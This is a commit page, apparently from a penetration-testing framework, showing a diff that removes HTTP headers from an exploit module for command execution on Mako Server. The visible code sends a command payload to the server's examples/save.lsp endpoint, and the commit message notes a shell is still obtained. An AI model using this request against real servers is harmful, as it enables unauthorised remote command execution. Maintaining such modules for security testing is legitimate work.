Skip to content

Commit ea260e8

Browse files
committed
Remove headers, since we didn't send them before
http was an invalid key for setting headers, and we still got a shell. These headers also don't seem relevant to the PUT request.
1 parent 7213e6c commit ea260e8

File tree

1 file changed

+0
-4
lines changed

1 file changed

+0
-4
lines changed

modules/exploits/windows/http/makoserver_cmd_exec.rb

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -102,10 +102,6 @@ def exploit
102102
'uri' => normalize_uri(target_uri.path, 'examples/save.lsp'),
103103
'ctype' => 'text/plain',
104104
'data' => cmd,
105-
'headers' => {
106-
'X-Requested-With' => 'XMLHttpRequest',
107-
'Referer' => 'http://localhost/Lua-Types.lsp'
108-
},
109105
'vars_get' => {
110106
'ex' => '2.1'
111107
}

0 commit comments

Comments
 (0)